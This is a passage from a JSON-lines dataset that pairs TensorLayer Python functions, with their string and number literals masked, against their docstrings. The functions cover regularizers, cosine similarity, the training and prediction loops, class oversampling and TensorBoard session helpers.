tl.layers.DynamicRNNLayer(net,\n    ...         cell_fn = tf.contrib.rnn.BasicLSTMCell,\n    ...         n_hidden = embedding_size,\n    ...         dropout = (0.7 if is_train else None),\n    ...         sequence_length = tl.layers.retrieve_seq_length_op2(input_seqs),\n    ...         return_seq_2d = True,\n    ...         name = 'dynamicrnn')\n    >>> print(net.outputs)\n    (?, 256)\n    >>> net = tl.layers.DenseLayer(net, n_units=vocab_size, name=\"output\")\n    >>> print(net.outputs)\n    (?, 10000)\n    >>> loss = tl.cost.cross_entropy_seq_with_mask(net.outputs, target_seqs, input_mask)", "id": "f11218:m10"}
{"signature": "def cosine_similarity(v1, v2):", "body": "return tf.reduce_sum(tf.multiply(v1, v2), <NUM_LIT:1>) /(tf.sqrt(tf.reduce_sum(tf.multiply(v1, v1), <NUM_LIT:1>)) *<EOL>tf.sqrt(tf.reduce_sum(tf.multiply(v2, v2), <NUM_LIT:1>)))<EOL>", "docstring": "Cosine similarity [-1, 1].\n\n    Parameters\n    ----------\n    v1, v2 : Tensor\n        Tensor with the same shape [batch_size, n_feature].\n\n    References\n    ----------\n    - `Wiki <https://en.wikipedia.org/wiki/Cosine_similarity>`__.", "id": "f11218:m11"}
{"signature": "def li_regularizer(scale, scope=None):", "body": "if isinstance(scale, numbers.Integral):<EOL><INDENT>raise ValueError('<STR_LIT>' % scale)<EOL><DEDENT>if isinstance(scale, numbers.Real):<EOL><INDENT>if scale < <NUM_LIT:0.>:<EOL><INDENT>raise ValueError('<STR_LIT>' % scale)<EOL><DEDENT>if scale >= <NUM_LIT:1.>:<EOL><INDENT>raise ValueError('<STR_LIT>' % scale)<EOL><DEDENT>if scale == <NUM_LIT:0.>:<EOL><INDENT>tl.logging.info('<STR_LIT>')<EOL>return lambda _, name=None: None<EOL><DEDENT><DEDENT>def li(weights):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>with tf.name_scope('<STR_LIT>') as scope:<EOL><INDENT>my_scale = ops.convert_to_tensor(scale, dtype=weights.dtype.base_dtype, name='<STR_LIT>')<EOL>standard_ops_fn = standard_ops.multiply<EOL>return standard_ops_fn(<EOL>my_scale, standard_ops.reduce_sum(standard_ops.sqrt(standard_ops.reduce_sum(tf.square(weights), <NUM_LIT:1>))),<EOL>name=scope<EOL>)<EOL><DEDENT><DEDENT>return li<EOL>", "docstring": "Li regularization removes the neurons of previous layer. The `i` represents `inputs`.\n    Returns a function that can be used to apply group li regularization to weights.\n    The implementation follows `TensorFlow contrib <https://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/layers/python/layers/regularizers.py>`__.\n\n    Parameters\n    ----------\n    scale : float\n        A scalar multiplier `Tensor`. 0.0 disables the regularizer.\n    scope: str\n        An optional scope name for this function.\n\n    Returns\n    --------\n    A function with signature `li(weights, name=None)` that apply Li regularization.\n\n    Raises\n    ------\n    ValueError : if scale is outside of the range [0.0, 1.0] or if scale is not a float.", "id": "f11218:m12"}
{"signature": "def lo_regularizer(scale):", "body": "if isinstance(scale, numbers.Integral):<EOL><INDENT>raise ValueError('<STR_LIT>' % scale)<EOL><DEDENT>if isinstance(scale, numbers.Real):<EOL><INDENT>if scale < <NUM_LIT:0.>:<EOL><INDENT>raise ValueError('<STR_LIT>' % scale)<EOL><DEDENT>if scale >= <NUM_LIT:1.>:<EOL><INDENT>raise ValueError('<STR_LIT>' % scale)<EOL><DEDENT>if scale == <NUM_LIT:0.>:<EOL><INDENT>tl.logging.info('<STR_LIT>')<EOL>return lambda _, name=None: None<EOL><DEDENT><DEDENT>def lo(weights, name='<STR_LIT>'):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>with tf.name_scope(name) as scope:<EOL><INDENT>my_scale = ops.convert_to_tensor(scale, dtype=weights.dtype.base_dtype, name='<STR_LIT>')<EOL>standard_ops_fn = standard_ops.multiply<EOL>return standard_ops_fn(<EOL>my_scale, standard_ops.reduce_sum(standard_ops.sqrt(standard_ops.reduce_sum(tf.square(weights), <NUM_LIT:0>))),<EOL>name=scope<EOL>)<EOL><DEDENT><DEDENT>return lo<EOL>", "docstring": "Lo regularization removes the neurons of current layer. The `o` represents `outputs`\n    Returns a function that can be used to apply group lo regularization to weights.\n    The implementation follows `TensorFlow contrib <https://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/layers/python/layers/regularizers.py>`__.\n\n    Parameters\n    ----------\n    scale : float\n        A scalar multiplier `Tensor`. 0.0 disables the regularizer.\n\n    Returns\n    -------\n    A function with signature `lo(weights, name=None)` that apply Lo regularization.\n\n    Raises\n    ------\n    ValueError : If scale is outside of the range [0.0, 1.0] or if scale is not a float.", "id": "f11218:m13"}
{"signature": "def maxnorm_regularizer(scale=<NUM_LIT:1.0>):", "body": "if isinstance(scale, numbers.Integral):<EOL><INDENT>raise ValueError('<STR_LIT>' % scale)<EOL><DEDENT>if isinstance(scale, numbers.Real):<EOL><INDENT>if scale < <NUM_LIT:0.>:<EOL><INDENT>raise ValueError('<STR_LIT>' % scale)<EOL><DEDENT>if scale == <NUM_LIT:0.>:<EOL><INDENT>tl.logging.info('<STR_LIT>')<EOL>return lambda _, name=None: None<EOL><DEDENT><DEDENT>def mn(weights, name='<STR_LIT>'):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>with tf.name_scope(name) as scope:<EOL><INDENT>my_scale = ops.convert_to_tensor(scale, dtype=weights.dtype.base_dtype, name='<STR_LIT>')<EOL>standard_ops_fn = standard_ops.multiply<EOL>return standard_ops_fn(my_scale, standard_ops.reduce_max(standard_ops.abs(weights)), name=scope)<EOL><DEDENT><DEDENT>return mn<EOL>", "docstring": "Max-norm regularization returns a function that can be used to apply max-norm regularization to weights.\n\n    More about max-norm, see `wiki-max norm <https://en.wikipedia.org/wiki/Matrix_norm#Max_norm>`_.\n    The implementation follows `TensorFlow contrib <https://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/layers/python/layers/regularizers.py>`__.\n\n    Parameters\n    ----------\n    scale : float\n        A scalar multiplier `Tensor`. 0.0 disables the regularizer.\n\n    Returns\n    ---------\n    A function with signature `mn(weights, name=None)` that apply Lo regularization.\n\n    Raises\n    --------\n    ValueError : If scale is outside of the range [0.0, 1.0] or if scale is not a float.", "id": "f11218:m14"}
{"signature": "def maxnorm_o_regularizer(scale):", "body": "if isinstance(scale, numbers.Integral):<EOL><INDENT>raise ValueError('<STR_LIT>' % scale)<EOL><DEDENT>if isinstance(scale, numbers.Real):<EOL><INDENT>if scale < <NUM_LIT:0.>:<EOL><INDENT>raise ValueError('<STR_LIT>' % scale)<EOL><DEDENT>if scale == <NUM_LIT:0.>:<EOL><INDENT>tl.logging.info('<STR_LIT>')<EOL>return lambda _, name=None: None<EOL><DEDENT><DEDENT>def mn_o(weights, name='<STR_LIT>'):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>with tf.name_scope(name) as scope:<EOL><INDENT>my_scale = ops.convert_to_tensor(scale, dtype=weights.dtype.base_dtype, name='<STR_LIT>')<EOL>if tf.__version__ <= '<STR_LIT>':<EOL><INDENT>standard_ops_fn = standard_ops.mul<EOL><DEDENT>else:<EOL><INDENT>standard_ops_fn = standard_ops.multiply<EOL><DEDENT>return standard_ops_fn(<EOL>my_scale, standard_ops.reduce_sum(standard_ops.reduce_max(standard_ops.abs(weights), <NUM_LIT:0>)), name=scope<EOL>)<EOL><DEDENT><DEDENT>return mn_o<EOL>", "docstring": "Max-norm output regularization removes the neurons of current layer.\n    Returns a function that can be used to apply max-norm regularization to each column of weight matrix.\n    The implementation follows `TensorFlow contrib <https://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/layers/python/layers/regularizers.py>`__.\n\n    Parameters\n    ----------\n    scale : float\n        A scalar multiplier `Tensor`. 0.0 disables the regularizer.\n\n    Returns\n    ---------\n    A function with signature `mn_o(weights, name=None)` that apply Lo regularization.\n\n    Raises\n    ---------\n    ValueError : If scale is outside of the range [0.0, 1.0] or if scale is not a float.", "id": "f11218:m15"}
{"signature": "def maxnorm_i_regularizer(scale):", "body": "if isinstance(scale, numbers.Integral):<EOL><INDENT>raise ValueError('<STR_LIT>' % scale)<EOL><DEDENT>if isinstance(scale, numbers.Real):<EOL><INDENT>if scale < <NUM_LIT:0.>:<EOL><INDENT>raise ValueError('<STR_LIT>' % scale)<EOL><DEDENT>if scale == <NUM_LIT:0.>:<EOL><INDENT>tl.logging.info('<STR_LIT>')<EOL>return lambda _, name=None: None<EOL><DEDENT><DEDENT>def mn_i(weights, name='<STR_LIT>'):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>with tf.name_scope(name) as scope:<EOL><INDENT>my_scale = ops.convert_to_tensor(scale, dtype=weights.dtype.base_dtype, name='<STR_LIT>')<EOL>if tf.__version__ <= '<STR_LIT>':<EOL><INDENT>standard_ops_fn = standard_ops.mul<EOL><DEDENT>else:<EOL><INDENT>standard_ops_fn = standard_ops.multiply<EOL><DEDENT>return standard_ops_fn(<EOL>my_scale, standard_ops.reduce_sum(standard_ops.reduce_max(standard_ops.abs(weights), <NUM_LIT:1>)), name=scope<EOL>)<EOL><DEDENT><DEDENT>return mn_i<EOL>", "docstring": "Max-norm input regularization removes the neurons of previous layer.\n    Returns a function that can be used to apply max-norm regularization to each row of weight matrix.\n    The implementation follows `TensorFlow contrib <https://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/layers/python/layers/regularizers.py>`__.\n\n    Parameters\n    ----------\n    scale : float\n        A scalar multiplier `Tensor`. 0.0 disables the regularizer.\n\n    Returns\n    ---------\n    A function with signature `mn_i(weights, name=None)` that apply Lo regularization.\n\n    Raises\n    ---------\n    ValueError : If scale is outside of the range [0.0, 1.0] or if scale is not a float.", "id": "f11218:m16"}
{"signature": "def fit(<EOL>sess, network, train_op, cost, X_train, y_train, x, y_, acc=None, batch_size=<NUM_LIT:100>, n_epoch=<NUM_LIT:100>, print_freq=<NUM_LIT:5>,<EOL>X_val=None, y_val=None, eval_train=True, tensorboard_dir=None, tensorboard_epoch_freq=<NUM_LIT:5>,<EOL>tensorboard_weight_histograms=True, tensorboard_graph_vis=True<EOL>):", "body": "if X_train.shape[<NUM_LIT:0>] < batch_size:<EOL><INDENT>raise AssertionError(\"<STR_LIT>\")<EOL><DEDENT>if tensorboard_dir is not None:<EOL><INDENT>tl.logging.info(\"<STR_LIT>\")<EOL>tl.files.exists_or_mkdir(tensorboard_dir)<EOL>if hasattr(tf, '<STR_LIT>') and hasattr(tf.summary, '<STR_LIT>'):<EOL><INDENT>if tensorboard_graph_vis:<EOL><INDENT>train_writer = tf.summary.FileWriter(tensorboard_dir + '<STR_LIT>', sess.graph)<EOL>val_writer = tf.summary.FileWriter(tensorboard_dir + '<STR_LIT>', sess.graph)<EOL><DEDENT>else:<EOL><INDENT>train_writer = tf.summary.FileWriter(tensorboard_dir + '<STR_LIT>')<EOL>val_writer = tf.summary.FileWriter(tensorboard_dir + '<STR_LIT>')<EOL><DEDENT><DEDENT>if (tensorboard_weight_histograms):<EOL><INDENT>for param in network.all_params:<EOL><INDENT>if hasattr(tf, '<STR_LIT>') and hasattr(tf.summary, '<STR_LIT>'):<EOL><INDENT>tl.logging.info('<STR_LIT>' % param.name)<EOL>tf.summary.histogram(param.name, param)<EOL><DEDENT><DEDENT><DEDENT>if hasattr(tf, '<STR_LIT>') and hasattr(tf.summary, '<STR_LIT>'):<EOL><INDENT>tf.summary.scalar('<STR_LIT>', cost)<EOL><DEDENT>merged = tf.summary.merge_all()<EOL>tl.layers.initialize_global_variables(sess)<EOL>tl.logging.info(\"<STR_LIT>\" % tensorboard_dir)<EOL><DEDENT>tl.logging.info(\"<STR_LIT>\")<EOL>start_time_begin = time.time()<EOL>tensorboard_train_index, tensorboard_val_index = <NUM_LIT:0>, <NUM_LIT:0><EOL>for epoch in range(n_epoch):<EOL><INDENT>start_time = time.time()<EOL>loss_ep = <NUM_LIT:0><EOL>n_step = <NUM_LIT:0><EOL>for X_train_a, y_train_a in tl.iterate.minibatches(X_train, y_train, batch_size, shuffle=True):<EOL><INDENT>feed_dict = {x: X_train_a, y_: y_train_a}<EOL>feed_dict.update(network.all_drop)  <EOL>loss, _ = sess.run([cost, train_op], feed_dict=feed_dict)<EOL>loss_ep += loss<EOL>n_step += <NUM_LIT:1><EOL><DEDENT>loss_ep = loss_ep / n_step<EOL>if tensorboard_dir is not None and hasattr(tf, '<STR_LIT>'):<EOL><INDENT>if epoch + <NUM_LIT:1> == <NUM_LIT:1> or (epoch + <NUM_LIT:1>) % tensorboard_epoch_freq == <NUM_LIT:0>:<EOL><INDENT>for X_train_a, y_train_a in tl.iterate.minibatches(X_train, y_train, batch_size, shuffle=True):<EOL><INDENT>dp_dict = dict_to_one(network.all_drop)  <EOL>feed_dict = {x: X_train_a, y_: y_train_a}<EOL>feed_dict.update(dp_dict)<EOL>result = sess.run(merged, feed_dict=feed_dict)<EOL>train_writer.add_summary(result, tensorboard_train_index)<EOL>tensorboard_train_index += <NUM_LIT:1><EOL><DEDENT>if (X_val is not None) and (y_val is not None):<EOL><INDENT>for X_val_a, y_val_a in tl.iterate.minibatches(X_val, y_val, batch_size, shuffle=True):<EOL><INDENT>dp_dict = dict_to_one(network.all_drop)  <EOL>feed_dict = {x: X_val_a, y_: y_val_a}<EOL>feed_dict.update(dp_dict)<EOL>result = sess.run(merged, feed_dict=feed_dict)<EOL>val_writer.add_summary(result, tensorboard_val_index)<EOL>tensorboard_val_index += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT><DEDENT>if epoch + <NUM_LIT:1> == <NUM_LIT:1> or (epoch + <NUM_LIT:1>) % print_freq == <NUM_LIT:0>:<EOL><INDENT>if (X_val is not None) and (y_val is not None):<EOL><INDENT>tl.logging.info(\"<STR_LIT>\" % (epoch + <NUM_LIT:1>, n_epoch, time.time() - start_time))<EOL>if eval_train is True:<EOL><INDENT>train_loss, train_acc, n_batch = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>for X_train_a, y_train_a in tl.iterate.minibatches(X_train, y_train, batch_size, shuffle=True):<EOL><INDENT>dp_dict = dict_to_one(network.all_drop)  <EOL>feed_dict = {x: X_train_a, y_: y_train_a}<EOL>feed_dict.update(dp_dict)<EOL>if acc is not None:<EOL><INDENT>err, ac = sess.run([cost, acc], feed_dict=feed_dict)<EOL>train_acc += ac<EOL><DEDENT>else:<EOL><INDENT>err = sess.run(cost, feed_dict=feed_dict)<EOL><DEDENT>train_loss += err<EOL>n_batch += <NUM_LIT:1><EOL><DEDENT>tl.logging.info(\"<STR_LIT>\" % (train_loss / n_batch))<EOL>if acc is not None:<EOL><INDENT>tl.logging.info(\"<STR_LIT>\" % (train_acc / n_batch))<EOL><DEDENT><DEDENT>val_loss, val_acc, n_batch = <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0><EOL>for X_val_a, y_val_a in tl.iterate.minibatches(X_val, y_val, batch_size, shuffle=True):<EOL><INDENT>dp_dict = dict_to_one(network.all_drop)  <EOL>feed_dict = {x: X_val_a, y_: y_val_a}<EOL>feed_dict.update(dp_dict)<EOL>if acc is not None:<EOL><INDENT>err, ac = sess.run([cost, acc], feed_dict=feed_dict)<EOL>val_acc += ac<EOL><DEDENT>else:<EOL><INDENT>err = sess.run(cost, feed_dict=feed_dict)<EOL><DEDENT>val_loss += err<EOL>n_batch += <NUM_LIT:1><EOL><DEDENT>tl.logging.info(\"<STR_LIT>\" % (val_loss / n_batch))<EOL>if acc is not None:<EOL><INDENT>tl.logging.info(\"<STR_LIT>\" % (val_acc / n_batch))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>tl.logging.info(<EOL>\"<STR_LIT>\" % (epoch + <NUM_LIT:1>, n_epoch, time.time() - start_time, loss_ep)<EOL>)<EOL><DEDENT><DEDENT><DEDENT>tl.logging.info(\"<STR_LIT>\" % (time.time() - start_time_begin))<EOL>", "docstring": "Training a given non time-series network by the given cost function, training data, batch_size, n_epoch etc.\n\n    - MNIST example click `here <https://github.com/tensorlayer/tensorlayer/blob/master/example/tutorial_mnist_simple.py>`_.\n    - In order to control the training details, the authors HIGHLY recommend ``tl.iterate`` see two MNIST examples `1 <https://github.com/tensorlayer/tensorlayer/blob/master/example/tutorial_mlp_dropout1.py>`_, `2 <https://github.com/tensorlayer/tensorlayer/blob/master/example/tutorial_mlp_dropout1.py>`_.\n\n    Parameters\n    ----------\n    sess : Session\n        TensorFlow Session.\n    network : TensorLayer layer\n        the network to be trained.\n    train_op : TensorFlow optimizer\n        The optimizer for training e.g. tf.train.AdamOptimizer.\n    X_train : numpy.array\n        The input of training data\n    y_train : numpy.array\n        The target of training data\n    x : placeholder\n        For inputs.\n    y_ : placeholder\n        For targets.\n    acc : TensorFlow expression or None\n        Metric for accuracy or others. If None, would not print the information.\n    batch_size : int\n        The batch size for training and evaluating.\n    n_epoch : int\n        The number of training epochs.\n    print_freq : int\n        Print the training information every ``print_freq`` epochs.\n    X_val : numpy.array or None\n        The input of validation data. If None, would not perform validation.\n    y_val : numpy.array or None\n        The target of validation data. If None, would not perform validation.\n    eval_train : boolean\n        Whether to evaluate the model during training.\n        If X_val and y_val are not None, it reflects whether to evaluate the model on training data.\n    tensorboard_dir : string\n        path to log dir, if set, summary data will be stored to the tensorboard_dir/ directory for visualization with tensorboard. (default None)\n        Also runs `tl.layers.initialize_global_variables(sess)` internally in fit() to setup the summary nodes.\n    tensorboard_epoch_freq : int\n        How many epochs between storing tensorboard checkpoint for visualization to log/ directory (default 5).\n    tensorboard_weight_histograms : boolean\n        If True updates tensorboard data in the logs/ directory for visualization\n        of the weight histograms every tensorboard_epoch_freq epoch (default True).\n    tensorboard_graph_vis : boolean\n        If True stores the graph in the tensorboard summaries saved to log/ (default True).\n\n    Examples\n    --------\n    See `tutorial_mnist_simple.py <https://github.com/tensorlayer/tensorlayer/blob/master/example/tutorial_mnist_simple.py>`_\n\n    >>> tl.utils.fit(sess, network, train_op, cost, X_train, y_train, x, y_,\n    ...            acc=acc, batch_size=500, n_epoch=200, print_freq=5,\n    ...            X_val=X_val, y_val=y_val, eval_train=False)\n    >>> tl.utils.fit(sess, network, train_op, cost, X_train, y_train, x, y_,\n    ...            acc=acc, batch_size=500, n_epoch=200, print_freq=5,\n    ...            X_val=X_val, y_val=y_val, eval_train=False,\n    ...            tensorboard=True, tensorboard_weight_histograms=True, tensorboard_graph_vis=True)\n\n    Notes\n    --------\n    If tensorboard_dir not None, the `global_variables_initializer` will be run inside the fit function\n    in order to initialize the automatically generated summary nodes used for tensorboard visualization,\n    thus `tf.global_variables_initializer().run()` before the `fit()` call will be undefined.", "id": "f11219:m0"}
{"signature": "def predict(sess, network, X, x, y_op, batch_size=None):", "body": "if batch_size is None:<EOL><INDENT>dp_dict = dict_to_one(network.all_drop)  <EOL>feed_dict = {<EOL>x: X,<EOL>}<EOL>feed_dict.update(dp_dict)<EOL>return sess.run(y_op, feed_dict=feed_dict)<EOL><DEDENT>else:<EOL><INDENT>result = None<EOL>for X_a, _ in tl.iterate.minibatches(X, X, batch_size, shuffle=False):<EOL><INDENT>dp_dict = dict_to_one(network.all_drop)<EOL>feed_dict = {<EOL>x: X_a,<EOL>}<EOL>feed_dict.update(dp_dict)<EOL>result_a = sess.run(y_op, feed_dict=feed_dict)<EOL>if result is None:<EOL><INDENT>result = result_a<EOL><DEDENT>else:<EOL><INDENT>result = np.concatenate((result, result_a))<EOL><DEDENT><DEDENT>if result is None:<EOL><INDENT>if len(X) % batch_size != <NUM_LIT:0>:<EOL><INDENT>dp_dict = dict_to_one(network.all_drop)<EOL>feed_dict = {<EOL>x: X[-(len(X) % batch_size):, :],<EOL>}<EOL>feed_dict.update(dp_dict)<EOL>result_a = sess.run(y_op, feed_dict=feed_dict)<EOL>result = result_a<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if len(X) != len(result) and len(X) % batch_size != <NUM_LIT:0>:<EOL><INDENT>dp_dict = dict_to_one(network.all_drop)<EOL>feed_dict = {<EOL>x: X[-(len(X) % batch_size):, :],<EOL>}<EOL>feed_dict.update(dp_dict)<EOL>result_a = sess.run(y_op, feed_dict=feed_dict)<EOL>result = np.concatenate((result, result_a))<EOL><DEDENT><DEDENT>return result<EOL><DEDENT>", "docstring": "Return the predict results of given non time-series network.\n\nParameters\n----------\nsess : Session\n    TensorFlow Session.\nnetwork : TensorLayer layer\n    The network.\nX : numpy.array\n    The inputs.\nx : placeholder\n    For inputs.\ny_op : placeholder\n    The argmax expression of softmax outputs.\nbatch_size : int or None\n    The batch size for prediction, when dataset is large, we should use minibatche for prediction;\n    if dataset is small, we can set it to None.\n\nExamples\n--------\nSee `tutorial_mnist_simple.py <https://github.com/tensorlayer/tensorlayer/blob/master/example/tutorial_mnist_simple.py>`_\n\n>>> y = network.outputs\n>>> y_op = tf.argmax(tf.nn.softmax(y), 1)\n>>> print(tl.utils.predict(sess, network, X_test, x, y_op))", "id": "f11219:m2"}
{"signature": "def dict_to_one(dp_dict):", "body": "return {x: <NUM_LIT:1> for x in dp_dict}<EOL>", "docstring": "Input a dictionary, return a dictionary that all items are set to one.\n\n    Used for disable dropout, dropconnect layer and so on.\n\n    Parameters\n    ----------\n    dp_dict : dictionary\n        The dictionary contains key and number, e.g. keeping probabilities.\n\n    Examples\n    --------\n    >>> dp_dict = dict_to_one( network.all_drop )\n    >>> dp_dict = dict_to_one( network.all_drop )\n    >>> feed_dict.update(dp_dict)", "id": "f11219:m4"}
{"signature": "def flatten_list(list_of_list):", "body": "return sum(list_of_list, [])<EOL>", "docstring": "Input a list of list, return a list that all items are in a list.\n\n    Parameters\n    ----------\n    list_of_list : a list of list\n\n    Examples\n    --------\n    >>> tl.utils.flatten_list([[1, 2, 3],[4, 5],[6]])\n    [1, 2, 3, 4, 5, 6]", "id": "f11219:m5"}
{"signature": "def class_balancing_oversample(X_train=None, y_train=None, printable=True):", "body": "<EOL>if printable:<EOL><INDENT>tl.logging.info(\"<STR_LIT>\")<EOL><DEDENT>c = Counter(y_train)<EOL>if printable:<EOL><INDENT>tl.logging.info('<STR_LIT>' % c.most_common())<EOL>tl.logging.info('<STR_LIT>' % c.most_common()[-<NUM_LIT:1>])<EOL>tl.logging.info('<STR_LIT>' % c.most_common(<NUM_LIT:1>)[<NUM_LIT:0>])<EOL><DEDENT>most_num = c.most_common(<NUM_LIT:1>)[<NUM_LIT:0>][<NUM_LIT:1>]<EOL>if printable:<EOL><INDENT>tl.logging.info('<STR_LIT>' % most_num)<EOL><DEDENT>locations = {}<EOL>number = {}<EOL>for lab, num in c.most_common():  <EOL><INDENT>number[lab] = num<EOL>locations[lab] = np.where(np.array(y_train) == lab)[<NUM_LIT:0>]<EOL><DEDENT>if printable:<EOL><INDENT>tl.logging.info('<STR_LIT>')<EOL><DEDENT>X = {}  <EOL>for lab, num in number.items():<EOL><INDENT>X[lab] = X_train[locations[lab]]<EOL><DEDENT>if printable:<EOL><INDENT>tl.logging.info('<STR_LIT>')<EOL><DEDENT>for key in X:<EOL><INDENT>temp = X[key]<EOL>while True:<EOL><INDENT>if len(X[key]) >= most_num:<EOL><INDENT>break<EOL><DEDENT>X[key] = np.vstack((X[key], temp))<EOL><DEDENT><DEDENT>if printable:<EOL><INDENT>tl.logging.info('<STR_LIT>' % len(X[<NUM_LIT:0>][<NUM_LIT:0>]))<EOL>tl.logging.info('<STR_LIT>')<EOL><DEDENT>for key in X:<EOL><INDENT>tl.logging.info(\"<STR_LIT>\" % (key, len(X[key])))<EOL><DEDENT>if printable:<EOL><INDENT>tl.logging.info('<STR_LIT>')<EOL><DEDENT>for key in X:<EOL><INDENT>X[key] = X[key][<NUM_LIT:0>:most_num, :]<EOL>tl.logging.info(\"<STR_LIT>\" % (key, len(X[key])))<EOL><DEDENT>if printable:<EOL><INDENT>tl.logging.info('<STR_LIT>')<EOL><DEDENT>y_train = []<EOL>X_train = np.empty(shape=(<NUM_LIT:0>, len(X[<NUM_LIT:0>][<NUM_LIT:0>])))<EOL>for key in X:<EOL><INDENT>X_train = np.vstack((X_train, X[key]))<EOL>y_train.extend([key for i in range(len(X[key]))])<EOL><DEDENT>c = Counter(y_train)<EOL>if printable:<EOL><INDENT>tl.logging.info('<STR_LIT>' % c.most_common())<EOL><DEDENT>return X_train, y_train<EOL>", "docstring": "Input the features and labels, return the features and labels after oversampling.\n\n    Parameters\n    ----------\n    X_train : numpy.array\n        The inputs.\n    y_train : numpy.array\n        The targets.\n\n    Examples\n    --------\n    One X\n\n    >>> X_train, y_train = class_balancing_oversample(X_train, y_train, printable=True)\n\n    Two X\n\n    >>> X, y = tl.utils.class_balancing_oversample(X_train=np.hstack((X1, X2)), y_train=y, printable=False)\n    >>> X1 = X[:, 0:5]\n    >>> X2 = X[:, 5:]", "id": "f11219:m6"}
{"signature": "def get_random_int(min_v=<NUM_LIT:0>, max_v=<NUM_LIT:10>, number=<NUM_LIT:5>, seed=None):", "body": "rnd = random.Random()<EOL>if seed:<EOL><INDENT>rnd = random.Random(seed)<EOL><DEDENT>return [rnd.randint(min_v, max_v) for p in range(<NUM_LIT:0>, number)]<EOL>", "docstring": "Return a list of random integer by the given range and quantity.\n\n    Parameters\n    -----------\n    min_v : number\n        The minimum value.\n    max_v : number\n        The maximum value.\n    number : int\n        Number of value.\n    seed : int or None\n        The seed for random.\n\n    Examples\n    ---------\n    >>> r = get_random_int(min_v=0, max_v=10, number=5)\n    [10, 2, 3, 3, 7]", "id": "f11219:m7"}
{"signature": "def list_string_to_dict(string):", "body": "dictionary = {}<EOL>for idx, c in enumerate(string):<EOL><INDENT>dictionary.update({c: idx})<EOL><DEDENT>return dictionary<EOL>", "docstring": "Inputs ``['a', 'b', 'c']``, returns ``{'a': 0, 'b': 1, 'c': 2}``.", "id": "f11219:m8"}
{"signature": "def exit_tensorflow(sess=None, port=<NUM_LIT>):", "body": "text = \"<STR_LIT>\"<EOL>text2 = \"<STR_LIT>\"<EOL>if sess is not None:<EOL><INDENT>sess.close()<EOL><DEDENT>if _platform == \"<STR_LIT>\" or _platform == \"<STR_LIT>\":<EOL><INDENT>tl.logging.info('<STR_LIT>' % text)<EOL>os.system('<STR_LIT>')<EOL>os.system('<STR_LIT>' + port + '<STR_LIT>')  <EOL>os.system(\"<STR_LIT>\")  <EOL>_exit()<EOL><DEDENT>elif _platform == \"<STR_LIT>\":<EOL><INDENT>tl.logging.info('<STR_LIT>' % text)<EOL>subprocess.Popen(<EOL>\"<STR_LIT>\" + str(port) + \"<STR_LIT>\", shell=True<EOL>)  <EOL><DEDENT>elif _platform == \"<STR_LIT:win32>\":<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>tl.logging.info(text2 + _platform)<EOL><DEDENT>", "docstring": "Close TensorFlow session, TensorBoard and Nvidia-process if available.\n\n    Parameters\n    ----------\n    sess : Session\n        TensorFlow Session.\n    tb_port : int\n        TensorBoard port you want to close, `6006` as default.", "id": "f11219:m9"}
{"signature": "def open_tensorboard(log_dir='<STR_LIT>', port=<NUM_LIT>):", "body": "text = \"<STR_LIT>\" + str(port) + \"<STR_LIT>\"<EOL>text2 = \"<STR_LIT>\"<EOL>if not tl.files.exists_or_mkdir(log_dir, verbose=False):<EOL><INDENT>tl.logging.info(\"<STR_LIT>\" % log_dir)<EOL><DEDENT>if _platform == \"<STR_LIT>\" or _platform == \"<STR_LIT>\":<EOL><INDENT>raise NotImplementedError()<EOL><DEDENT>elif _platform == \"<STR_LIT>\":<EOL><INDENT>tl.logging.info('<STR_LIT>' % text)<EOL>subprocess.Popen(<EOL>sys.prefix + \"<STR_LIT>\" + log_dir + \"<STR_LIT>\" + str(port), shell=True<EOL>)  <EOL><DEDENT>elif _platform == \"<STR_LIT:win32>\":<EOL><INDENT>raise NotImplementedError(\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>tl.logging.info(_platform + text2)<EOL><DEDENT>", "docstring": "Open Tensorboard.\n\n    Parameters\n    ----------\n    log_dir : str\n        Directory where your tensorboard logs are saved\n    port : int\n        TensorBoard port you want to open, 6006 is tensorboard default", "id": "f11219:m10"}
{"signature": "def clear_all_placeholder_variables(printable=True):", "body": "tl.logging.info('<STR_LIT>')<EOL>gl = globals().copy()<EOL>for var in gl:<EOL><INDENT>if var[<NUM_LIT:0>] == '<STR_LIT:_>': continue<EOL>if '<STR_LIT>' in str(globals()[var]): continue<EOL>if '<STR_LIT>' in str(globals()[var]): continue<EOL>if '<STR_LIT:class>' in str(globals()[var]): continue<EOL>if printable:<EOL><INDENT>tl.logging.info(\"<STR_LIT>\" % str(globals()[var]))<EOL><DEDENT>del globals()[var]<EOL><DEDENT>", "docstring": "Clears all the placeholder variables of keep prob,\n    including keeping probabilities of all dropout, denoising, dropconnect etc.\n\n    Parameters\n    ----------\n    printable : boolean\n        If True, print all deleted variables.", "id": "f11219:m11"}
{"signature": "def set_gpu_fraction(gpu_fraction=<NUM_LIT>):", "body": "tl.logging.info(\"<STR_LIT>\" % gpu_fraction)<EOL>gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=gpu_fraction)<EOL>sess = tf.Session(config=tf.ConfigProto(gpu_options=gpu_options))<EOL>return sess<EOL>", "docstring": "Set the GPU memory fraction for the application.\n\n    Parameters\n    ----------\n    gpu_fraction : float\n        Fraction of GPU memory, (0 ~ 1]\n\n    References\n    ----------\n    - `TensorFlow using GPU <https://www.tensorflow.org/versions/r0.9/how_tos/using_gpu/index.html>`__", "id": "f11219:m12"}
